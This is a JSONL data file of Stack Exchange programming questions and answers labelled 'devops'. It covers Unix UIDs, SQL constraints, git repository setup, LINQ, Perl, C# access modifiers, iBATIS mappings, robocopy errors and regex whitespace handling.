{"id": "hf_89d160afc0ed", "question": "<p>Real UID, effective UID, and some systems even have a \"saved UID\". What's the purpose of all these, especially the last one?</p>\n", "question_body": "", "answer": "Each UNIX process has 3 UIDs associated to it. Superuser privilege is UID=0.\nReal UID\nThis is the UID of the user/process that created THIS process. It can be changed only if the running process has EUID=0.\nEffective UID\nThis UID is used to evaluate privileges of the process to perform a particular action. EUID can be changed either to RUID, or SUID if EUID!=0. If EUID=0, it can be changed to anything.\nSaved UID\nIf you run an executable with the set-UID bit set, then the resulting running process will start off with a real UID of the real user running it, and an effective and saved UID of the owner of the executable file. If the process then calls setuid() or seteuid() to change their effective UID, they can still get back their original privileges again thanks to the saved UID. If the set-UID bit is not set, SUID will be the RUID.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:56.434765"}
{"id": "hf_de9b81443636", "question": "<p>This is probably a simple answer but I can't find it.  I have a table with a column of integers and I want to ensure that when a row is inserted that the value in this column is greater than zero.  I could do this on the code side but thought it would be best to enforce it on the table.</p>\n\n<p>Thanks!</p>\n\n<p>I was in error with my last comment all is good now.</p>\n", "question_body": "", "answer": "Create a database constraint:\n```\n```\nALTER TABLE Table1 ADD CONSTRAINT Constraint1 CHECK (YourCol > 0)\n```\n```\nYou can have pretty sophisticated constraints, too, involving multiple columns. For example:\n```\n```\nALTER TABLE Table1 ADD CONSTRAINT Constraint2 CHECK (StartDate<EndDate OR EndDate IS NULL)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:56.458497"}
{"id": "hf_f42e1df985aa", "question": "<p>I want to put my master pages in a central library so I can use them in several projects without having the maintanance nightmare.\nEverything is refactored in a generic and central way, they are all in a \"shared\" namespace.\nBut if put them in a seperate project, I can't reference them</p>\n", "question_body": "", "answer": "I don't believe you can put that actual .master pages in an external library. You can place your own customer MasterPage-derived class in the library, and have your client apps derive from that, but I don't think that's what your intent is, since you're tagged with asp.net-mvc (implying very narrow views without much logic, and probably no code-behinds).\nAs far as I'm aware, there isn't a way to reference a master (nor, for that matter, an ASPX or ASCX) from an external library. Wish I had better news for you. (And I actually hope I'm wrong; I hope someone else here has figured out a technique for this, as I'd like to use that kind of thing myself on occasion.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:56.534722"}
{"id": "hf_1d6c1b94c9b4", "question": "<p>My web application is relying on container-managed security and I'm wondering if it's possible to use salted passwords at all. As far as I can tell it's easy enough to store digested passwords in a database by just configuring a JDBC or DataSource Realm, but there's no way to add a salt to those digest. </p>\n\n<p>Any suggestions?</p>\n\n<p><strong>Edit:</strong> it seems I just need to think some more before asking questions ;-)</p>\n\n<p>It's just a matter of choosing who's doing the digest calculation (client or server) and configure Tomcat accordingly.</p>\n", "question_body": "", "answer": "Passord-based encryption in JCE uses salt as per PKCS#5.  See\nhttp://java.sun.com/j2se/1.4.2/docs/guide/security/jce/JCERefGuide.html#PBEEx\nfor an example.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:56.582474"}
{"id": "hf_fd697c9d7e0c", "question": "<p>I'm exploring git to see how it might work for my company. I've got git installed and I need to know a couple things:</p>\n\n<ul>\n<li>How can I set up a git server on my computer to act as my central repo?</li>\n<li>I'm trying to figure out how to manage my workflow with just the GUI on Windows (using the GUI is a requirement). How do I take a bunch of files in a folder and get them into my GIT repo?</li>\n</ul>\n\n<p>If there's a good tutorial for each item I'm plenty happy looking there instead if you can point me in the right direction. Thanks!</p>\n", "question_body": "", "answer": "In order to get started, you're going to have to use the command line.\nFirst you'll want to initialize a local repo in place.  cd to the folder your files that you want under version control and issue:\n```\n```\ngit init\n```\n```\nYou've now initialized a git repository in that foleder.  Now you need to add all of the files to it:\n```\n```\ngit add .\ngit commit -m \"Initial Import\"\n```\n```\nNow cd to the parent folder of your local repository.  You're going to want to make a \"Bare\" clone of the repository to act as your central repo.  Issue the following command:\n```\n```\ngit clone projectFolder/ ProjectName.git\n```\n```\nProjectName.git will be created with only the version control repository.  Move this folder to wherever you want to act as your central repository.  From there on out, you can clone and pull from the central repository and push to the central repository.\nTo clone from a central repository via SSH:\n```\n```\ngit clone [user@]host.xz:/path/to/repo.git/\n```\n```\nOr, if your repo is on a network share\n```\n```\ngit clone D:/path/to/repo.git/\n```\n```\nThis is also doable from the GUI client for checking out and pushing changes back to the repo.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:56.606463"}
{"id": "hf_bd1fa017c1d6", "question": "<p>Sorry, that title just hurts.  I'm wondering if there is a Linq to collections extension method that collapses the following code segment into a single line:</p>\n\n<pre><code>public IEnumerable&lt;Child&gt; GetAllChildren(IEnumerable&lt;Parent&gt; parents){\n\n  var result = new List&lt;Child&gt;();\n\n  foreach(Parent parent in parents)\n    foreach(Child child in parent.Children)\n      result.Add(child);\n\n  return result;\n}\n</code></pre>\n\n<p>If you can collapse that into a single statement, try it on insane difficulty:</p>\n\n<pre><code>public IEnumerable&lt;Child&gt; GetAllChildren(IEnumerable&lt;Grandparent&gt; nanas){\n\n  var result = new List&lt;Child&gt;();\n\n  foreach(Grandparent papa in nanas)\n    foreach(Parent parent in papa.Children)\n      foreach(Child child in parent.Children)\n        result.Add(child);\n\n  return result;\n}\n</code></pre>\n", "question_body": "", "answer": "This will work:\n```\n```\npublic IEnumerable<Child> GetAllChildren(IEnumerable<Parent> parents)\n{\n    return from parent in parents\n           from child in parent.Children\n           select child;\n}\n```\n```\nand then this:\n```\n```\npublic IEnumerable<Child> GetAllChildren(IEnumerable<Grandparent> nanas)\n{\n    return from papa in nanas\n           from parent in papa.Children\n           from child in parent.Children\n           select child;\n}\n```\n```\nNote, in this example I'm not actually returning a list, I'm returning an IEnumerable data source that until you start to foreach over it, or similar, won't actually do any processing.\nIf you need to return a list, modify each return statement as follows:\n```\n```\nreturn (from .....\n            ...\n            select child).ToList();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:56.643226"}
{"id": "hf_6a07a411052e", "question": "<p>I would like to execute <code>ls</code> in a Perl program as part of a CGI script. For this I used <code>exec(ls)</code>, but this does not return from the <code>exec</code> call.</p>\n\n<p>Is there a better way to get a listing of a directory in Perl?</p>\n", "question_body": "", "answer": "In order to get the output of a system command you need to use backticks.\n```\n```\n$listing = `ls`;\n```\n```\nHowever, Perl is good in dealing with directories for itself. I'd recommend using File::Find::Rule.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:56.667553"}
{"id": "hf_7a5002e404af", "question": "<p>We are running our Junit 4 test suite against Weblogic 9 in front of an Oracle 10 database (using Hudson as a continuous integration server) and occasionally we will get an ORA-12519 crash during script teardown.  However, the error is very intermittent:  </p>\n\n<ul>\n<li>It usually happens for the same Test class  </li>\n<li>It doesn't always happen for the same test cases (sometimes they pass)  </li>\n<li>It doesn't happen for the same number of test cases (anywhere from 3-9)  </li>\n<li>Sometimes it doesn't happen at all, everything passes  </li>\n</ul>\n\n<p>While I can't guarantee this doesn't happen locally (when running against the same database, of course), I have run the same suite of class multiple times with no issues.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "Don't know if this will be everybody's answer, but after some digging, here's what we came up with.\nThe error is obviously caused by the fact that the listener was not accepting connections, but why would we get that error when other tests could connect fine (we could also connect no problem through sqlplus)?  The key to the issue wasn't that we couldn't connect, but that it was\nintermittent\nAfter some investigation, we found that there was some static data created during the class setup that would keep open connections for the life of the test class, creating new ones as it went.  Now, even though all of the resources were properly released when this class went out of scope (via a finally{} block, of course), there were some cases during the run when this class would swallow up all available connections (okay, bad practice alert - this was unit test code that connected directly rather than using a pool, so the same problem could not happen in production).\nThe fix was to not make that class static and run in the class setup, but instead use it in the per method setUp and tearDown methods.\nSo if you get this error in your own apps, slap a profiler on that bad boy and see if you might have a connection leak.  Hope that helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:56.696467"}
{"id": "hf_51dd06210c19", "question": "<p>As you may already know, the .NET Framework's <a href=\"http://msdn.microsoft.com/en-us/library/ms173121.aspx\" rel=\"noreferrer\"><em>protected internal</em></a> access modifier works in a strange way: It doesn't mean the class is <em>protected</em> <strong>AND</strong> <em>internal</em>, it says the class is <em>protected</em> <strong>OR</strong> <em>internal</em>; that is, the modified class or member can be accessed from whitin the same assembly <strong>as well as</strong> from the same hierarchy.</p>\n\n<p>So, knowing this: When would you use it? Can you give an example? Is there a good, <em>illuminating</em> usage example inside .NET Base Class Library?</p>\n", "question_body": "", "answer": "I have rarely needed to use this access modifier combination as I think that in all but the most extreme circumstances, it's an indicator of poor design. However, sometimes it is necessary to have helper classes like type converters and editors access the method inside your assembly, but only allow derived classes to access it in other use cases.\nAn example might be a call that turns a type into a string for the type converter.\n```\nToString()\n```\ngenerally isn't used for this purpose so you might have a\n```\nToPersistableString()\n```\ncall that you want your type converter to use, so you make it\n```\ninternal\n```\n. Then you decide that people deriving from your class may well want to use this call as part of their own persistence scheme for their derived class so you make it\n```\nprotected\n```\nas well.\n.NET Framework Use\n```\nAccessibilityNotifyClients\n```\non\n```\nControl\n```\nis\n```\nprotected internal\n```\n. Using\nReflector\n, I can see that this was done so that the\n```\nCheckedItemCollection\n```\nof\n```\nCheckListBox\n```\ncould access it when changing checked states.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:56.720575"}
{"id": "hf_5b120ebb88c6", "question": "<p>What is a <code>DOCVARIABLE</code> in Microsoft Word 2003? How do I set it? How do I make it display in my Word document?</p>\n", "question_body": "", "answer": "You can use the Microsoft Visual Basic for Applications Variables collection to set and retrieve the contents of a string variable in a Word document or template.\nAlso, you can use the DocVariable field to retrieve the value of a document variable after it has been set to display within a Word document.\nSource:\nHow to store and retrieve variables in Word documents\n```\n```\nSub GetSetDocVars()\n\nDim fName As String\nfName = \"Jeff Smith\"\n' Set contents of variable \"fName\" in a document using a document\n' variable called \"FullName\".\nActiveDocument.Variables.Add Name:=\"FullName\", Value:=fName\n' Retrieve the contents of the document variable.\nMsgBox ActiveDocument.Variables(\"FullName\").Value\n\nEnd Sub\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:56.744702"}
{"id": "hf_998b1592f831", "question": "<p>Is there a way of reusing the same resultMap multiple times in a single query.</p>\n\n<p>For example, suppose I have a \"foo\" resultMap:</p>\n\n<pre><code>&lt;resultMap id=\"foo\" class=\"Foo\"&gt;\n  &lt;result property=\"Bar\" column=\"bar\" /&gt;\n&lt;/resultMap&gt;\n</code></pre>\n\n<p>Is there a way to define another resultMap that reuses the above for different columns? Something like...</p>\n\n<pre><code>&lt;resultMap id=\"fizz\"class=\"Fizz\"&gt;\n  &lt;result property=\"Foo1\" column=\"bar=bar1\" resultMapping=\"foo\" /&gt;\n  &lt;result property=\"Foo2\" column=\"bar=bar2\" resultMapping=\"foo\" /&gt;\n  &lt;result property=\"Foo3\" column=\"bar=bar3\" resultMapping=\"foo\" /&gt;\n&lt;/resultMap&gt;\n</code></pre>\n", "question_body": "", "answer": "Almost.  If you select the ID of the Foo in your query, you can have the Fizz result map execute a SELECT for that ID, which will use the Foo result map.\n```\n<result property=\"Foo1\" column=\"bar1Id\" select=\"selectFoo\"/>\n```\n(Assuming you have a\n```\nselectFoo\n```\nquery defined.)  But that's extremely slow with large result sets, since it does an additional SELECT for every row.\niBATIS has a solution to this problem for the typical case, where you have a composite object that contains various other objects.  First, you define a query that joins your tables, then you can use\n```\nfooMap\n```\nto populate a\n```\nFoo\n```\n:\n```\n<result property=\"Foo1\" resultMap=\"fooMap\"/>\n```\nBut you can't use that result map twice for two different\n```\nFoos\n```\nbecause the result map specifies certain column names.  You can use another technique, though:\n```\n<result property=\"foo1.bar\" column=\"foo1bar\"/>\n```\n```\n<result property=\"foo2.bar\" column=\"foo2bar\"/>\n```\nMore detail in page 35 of the iBatis Datamapper manual.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:56.779496"}
{"id": "hf_df39795c9ce0", "question": "<p>Clearly the following is incorrect.</p>\n\n<pre><code>INSERT INTO `aTable` (`A`,`B`) VALUES((SELECT MAX(`A`) FROM `aTable`)*2),'name');\n</code></pre>\n\n<p>I get the value:</p>\n\n<p>SQL query: </p>\n\n<pre><code>INSERT INTO `aTable` (`A`, `B` )\nVALUES \n(\n  (\n   SELECT MAX(`A`)\n   FROM `aTable`\n  ) *2\n , 'name'\n)\n</code></pre>\n\n<p>MySQL said:</p>\n\n<p>1093 - You can't specify target table 'aTable' for update in FROM clause </p>\n\n<p>So, I'm trying to make a bitmap table, each row corresponds to one Bit, and has a 'map' value.</p>\n\n<p>To insert in the table, I don't want to do two queries, I want to do one.\nHow should I do this?</p>\n\n<p>No one commented on this, but since I am trying to make a bitmap, it should be * 2 not ^ 2, my mistake, please note that is why the comments often say ^ 2, it was an error in the version that the commenters read.</p>\n", "question_body": "", "answer": "I think you need to drop the \"VALUES\", and have a valid select statement.\nsee this link\nI'm not particularly a mySQL guy, I use MSSQL mostly.  But If you format the select statement correctly, It should work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:56.828820"}
{"id": "hf_cbd68536726f", "question": "<p>Consider the following interface in Java:</p>\n\n<pre><code>public interface I {\n    public final String KEY = \"a\";\n}\n</code></pre>\n\n<p>And the following class:</p>\n\n<pre><code>public class A implements I {\n    public String KEY = \"b\";\n\n    public String getKey() {\n        return KEY;\n    }\n}\n</code></pre>\n\n<p>Why is it possible for class A to come along and override interface I's final constant?</p>\n\n<p>Try for yourself:</p>\n\n<pre><code>A a = new A();\nString s = a.getKey(); // returns \"b\"!!!\n</code></pre>\n", "question_body": "", "answer": "You are hiding it, it's a feature of \"Scope\".  Any time you are in a smaller scope, you can redefine all the variables you like and the outer scope variables will be \"Shadowed\"\nBy the way, you can scope it again if you like:\n```\n```\npublic class A implements I {\n    public String KEY = \"b\";\n\n    public String getKey() {\n        String KEY = \"c\";\n        return KEY;\n    }\n}\n```\n```\nNow KEY will return \"c\";\nEdited because the original sucked upon re-reading.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:56.890471"}
{"id": "hf_3bc9524f1b71", "question": "<p>Is it possible with Axis2 and Eclipse to generate a Web Service client and have it use java types that you already have in packages instead of creating it's own types.  Reason being of course if I have type A already created and it creates it's own Type A I can't just assign variable of type A to variable of type B.</p>\n\n<p>The wsdl is being generated from a Web Service deployed to an application server. \nIf it's not possible to generate it from that would it be possible to generate a client from the already existing java files.</p>\n", "question_body": "", "answer": "You are generating the web service client from wsdl, correct?\nThe only thing that the wsdl2java tool knows about is the information in the wsdl, so it won't know about any types that you have already created.\nIf you can get the type information into the wsdl you may get it to work, although I have never tried.\nIf you want an easy way to copy from Type A to Type B then you could try\nBeanUtils.copyProperties\n, as long as the setters and getters of Type A and Type B match.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:56.915333"}
{"id": "hf_07b7c94285ef", "question": "<p>I tried the following code in LINQPad and got the results given below:</p>\n\n<pre><code>List&lt;string&gt; listFromSplit = new List&lt;string&gt;(\"a, b\".Split(\",\".ToCharArray())).Dump();\nlistFromSplit.ForEach(delegate(string s) \n{ \n  s.Trim(); \n});\nlistFromSplit.Dump();\n</code></pre>\n\n<blockquote>\n  <p>\"a\" and \" b\"</p>\n</blockquote>\n\n<p>so the letter b didn't get the white-space removed as I was expecting...?</p>\n\n<p>Anyone have any ideas</p>\n\n<p>[NOTE: the .Dump() method is an extension menthod in LINQPad that prints out the contents of any object in a nice intelligently formatted way]</p>\n", "question_body": "", "answer": "you're just creating a trimmed string, not assigning anything to it.\n```\n```\nvar s = \"  asd   \";\ns.Trim();\n```\n```\nwon't update s, while..\n```\n```\nvar s = \"   asd   \";\ns = s.Trim();\n```\n```\nwill..\n```\n```\nvar listFromSplit = \"a, b\".Split(',').Select(s=>s.Trim());\n```\n```\nwould, i suppose, be how i'd go about it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:57.037707"}
{"id": "hf_f9e5325da1a7", "question": "<p>I wish to migrate the database of a legacy web app from SQL Server to MySQL. What are the limitations of MySQL that I must look out for ? And what all items would be part of a comprehensive checklist before jumping into actually modifying the code ? </p>\n", "question_body": "", "answer": "First thing I would check is the data types - the exact definition of datatypes varies from database to database. I would create a mapping list that tellme what to map each of the datatypes to. That will help in building the new tables. I would also check for data tables or columns that are not being used now. No point in migrating them. Do the same with functions, job, sps, etc. Now is the time to clean out the junk.\nHow are you accessing the data through sps or dynamic queries from the database? Check each query by running it aganst a new dev database and make sure they still work. Again there are differences between how the two flavors of SQl work. I've not used my sql so I'm not sure what some of the common failure points are.  While you are at it you might want to time new queries and see if they can be optimized. Optimization also varies from database to database and while you are at it, there are probably some poorly performing queries right now that you can fix as part of the migration.\nUser defined functions will need to be looked at as well. Don't forget these if you are doing this.\nDon't forget scheduled jobs, these will need to be checkd and recreated in myslq as well.\nAre you importing any data ona regular schedule? All imports will have to be rewritten.\nKey to everything is to use a test database and test, test, test. Test everything especially quarterly or annual reports or jobs that you might forget.\nAnother thing you want to do is do everything through scripts that are version controlled. Do not move to production until you can run all the scripts in order on dev with no failures.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:57.087187"}
{"id": "hf_1783f8cf98db", "question": "<p>I have a String such as: </p>\n\n<pre><code>Cerepedia, una apliación web\n</code></pre>\n\n<p>I would like to transform it into something URL valid such as: </p>\n\n<pre><code>Cerepedia,unaaplicacionweb\n</code></pre>\n\n<p><strong>Note:</strong> the special character transformation and spaces removal. </p>\n\n<p>By the way, are commas allowed in URLs?</p>\n", "question_body": "", "answer": "Have you looked at\nURLEncoder\n? That seems to do what you need it to do. Though the special characters will be transformed to escaped entities and not stripped from their \"special\" properties.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:57.161536"}
{"id": "hf_edc246a40a60", "question": "<p>What are those bad habits you've developed since you've started coding in Cocoa?</p>\n\n<p>I think making a list of bad habits and actively adding to it and, more importantly, breaking those habits is a good technique to produce your code quality. So start now, get your bad habits off your chest. Maybe other people share your bad habits. </p>\n", "question_body": "", "answer": "Here's some of mine:\nThrowing exceptions without any attempt to catch 'em. I've started to rely on NSError more and more to prevent NSExceptions from flying about like bullets in a John Woo movie, but I still have a lot of\nexceptional\ncode out there.\nWriting a quick class to do X, Y & Z and then forgetting to clean up in dealloc. Leaks ahoy!\nUsing strings directly in various places (KVO) instead of defining a constant and using that (see Dave Dribin's excellent\nblog post\non KVO for more)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:57.197984"}
{"id": "hf_7ecc035f3732", "question": "<p>Is it possible to reload a page that was loaded thru link_to_remote? I'm doing this in my controller: <br></p>\n\n<pre><code>def create\n if captchas_verified\n  do_something\n else\n  render :action=&gt;'new'\nend\n</code></pre>\n\n<p>But when the captchas is wrong, it do not render a form that is inside of the new template. By the way, in the webserver log, it shows that the templades was rendered.</p>\n\n<p>Thanks!</p>\n\n<p>UPDATED: Today i changed the render to:</p>\n\n<pre><code>render(:update) { |page| page.call 'location.reload' }\n</code></pre>\n\n<p>But it makes me update the page that called the link_to_remote not the page that was opened thru the link_to_remote</p>\n\n<p>UPDATED 2: I fixed using\n    page.replace_html \"mydiv\", :partial => \"new\"\ninstead of \n    page.call 'location.reload'</p>\n", "question_body": "", "answer": "Something like this should do what you want.\n```\n```\nrender :update do |page| page << 'window.location.reload()' end\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:57.222071"}
{"id": "hf_8eac1b1a5b96", "question": "<p>How would you go about creating a random alpha-numeric string that matches a certain regular expression?</p>\n\n<p>This is specifically for creating initial passwords that fulfill regular password requirements.</p>\n", "question_body": "", "answer": "If you have a specific problem, you probably have a specific regular expression in mind. I would take that regular expression, work out what it means in simple human terms, and work from there.\nI suspect it's\npossible\nto create a general regex random match generator, but it's likely to be\nmuch\nmore work than just handling a specific case - even if that case changes a few times a year.\n(Actually, it may not be possible to generate random matches in the most general sense - I have a vague memory that the problem of \"does any string match this regex\" is the halting problem in disguise. With a very cut-down regex language you may have more luck though.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:57.245554"}
{"id": "hf_66c3d1e32b3a", "question": "<p>I like to know if there is a way to read the user input inside a batch file, because i have a file named: \"fif.bat\" that recives two parameters (just call them <strong><em>paramA</em></strong> and <strong><em>paramB</em></strong>) so i execute the file like this:</p>\n\n<pre><code>fif paramA paramB\n</code></pre>\n\n<p>I have to change paramA every month, but i call this file lot of times so i like to open a console and have printed this:</p>\n\n<pre><code>fif paramA\n</code></pre>\n\n<p>So i only have to write paramB and change paramA when i want it.</p>\n\n<p>PD: paramA is very large so it's very helpful if i can have it there instead of writing every time. And i don't want to make another batch file to call fif whit paramA.</p>\n", "question_body": "", "answer": "You can prompt for user input in a batch file using\n```\nSET /P\n```\nfor example:\n```\n```\nSET /P paramB=\"Prompt String: \"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:57.309026"}
{"id": "hf_a475f99376cf", "question": "<p>We are implementing an IP based geolocation service, and we need to find some IP's from various markets (LA, NY etc) to fully test the service.</p>\n\n<p>Does anybody know of a directory where we could find what IP ranges are used where?</p>\n\n<p>EDIT: We have already implemented the system, it uses a 3rd party DB and a webservice. We just want some IP's from known markets to verify its working properly.</p>\n\n<p>I'm going to see if I can get what I need from the free maxmind database.</p>\n", "question_body": "", "answer": "Not sure if cost is a factor but there are a few open source databases knocking about.\nThis one\nclaims 99.3% accuracy on its free version with 99.8% for its paid version. They've also got a\nFree & Open Source City Database\n(76% accuracy at city level).\nThey're both available as CSV-based databases so you can easily take a known location and get an IP range for ISPs in the area.\nThe tougher part is getting access to a computer in that IP range.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:57.333700"}
{"id": "hf_729e1918980b", "question": "<p>Hey everyone, I am researching a project where we would need to keep a value encrypted from the client all the way to a black box system without decrypting it at any point in between.  We are using SSL between the browser and web server, but the values are automatically decrypted at the web server, which is what we need to keep from happening.  We need to be able to pass it through the web server (still encrypted) and through other back end systems until it hits its final destination where it would be decrypted.  </p>\n\n<p>So my question is what options are available to us for maintaining an encrypted state for a value from the browser back, without decrypting it anywhere along the way?</p>\n\n<p>Thanks\nMark</p>\n", "question_body": "", "answer": "you'll want to take a look at\npublic key encryption\n. SSL protects your session (browser <-> server) but not the full transport. i'd suggest encrypting your data once it's received from the client, then sending the encrypted data all the way in.\nhere's a terrible diagram outlining the flow of data\n```\n```\nclient browser    web server       random server       blackbox\nroute   ---- SSL -------------><------------- not encrypted ------->\ndata                          *-------- PGP/GPG encrypted --------->\n```\n```\nbasically your data is encrypted via SSL to the web server, where it is PGP/GPG encrypted, then sent downstream. SSL doesn't matter at this point (or at least, isn't the primary form of encryption).\nunless you can guarantee javascript in your environment, it may be better to encrypt at the web server to make sure your data is secure if the user has javascript off for some reason.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:57.383593"}
{"id": "hf_db44679954d3", "question": "<p>I'm a huge fan of robocopy and use it extensively to copy between various servers I need to update.</p>\n\n<p>Lately I've been archiving to an Amazon S3 account that I access via a mapped drive using JungleDisk.  I then robocopy my files from local PC to S3.</p>\n\n<p>Sometimes I get a very strange 'Incorrect function' error message in robocopy and the file fails to copy.  I've tried xcopy and straightforward copy and paste between file explorer windows.  In each case I get some variation of the 'Incorrect function' or 'Illegal MS-DOS function' and the file will never copy.</p>\n\n<p>I delete the target but to no avail.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "Don't know if you're allowed to answer your own questions but I think I've fixed it...\nI found this in the\njungledisk support forums\nThe quick solution is to zip the\n  files, delete the original, then unzip\n  the files because zip can't handle\n  extended attributes. Another solution\n  is to move them to a FAT filesystem,\n  then move again to NTFS filesystem,\n  because FAT don't manage extended\n  attributes.\nIn both cases the result is the\n  deletion of extended attributes, and\n  the files can be moved to the\n  jungledisk.\nThe files can have extended attributes\n  for different reasons, expecially\n  migrations from other filesystems: in\n  my case was the migration of a CVS\n  repository from a ext2 filesystem to\n  NTFS.\nSeems to have worked for me...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:57.409354"}
{"id": "hf_76ac85865b8a", "question": "<p>I'm trying to write a regex to replace all spaces that are not included in quotes so something like this:</p>\n\n<pre><code>a = 4, b = 2, c = \"space here\"\n</code></pre>\n\n<p>would return this:</p>\n\n<pre><code>a=4,b=2,c=\"space here\"\n</code></pre>\n\n<p>I spent some time searching this site and I found a similar q/a ( <a href=\"https://stackoverflow.com/questions/79968/split-a-string-by-spaces-in-python#80449\">Split a string by spaces -- preserving quoted substrings -- in Python</a> ) that would replace all the spaces inside quotes with a token that could be re-substituted in after wiping all the other spaces...but I was hoping there was a cleaner way of doing it.</p>\n", "question_body": "", "answer": "I consider this very clean:\n```\n```\nmystring.scan(/((\".*?\")|([^ ]))/).map { |x| x[0] }.join\n```\n```\nI doubt\ngsub\ncould do any better (assuming you want a pure regex approach).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:57.434287"}
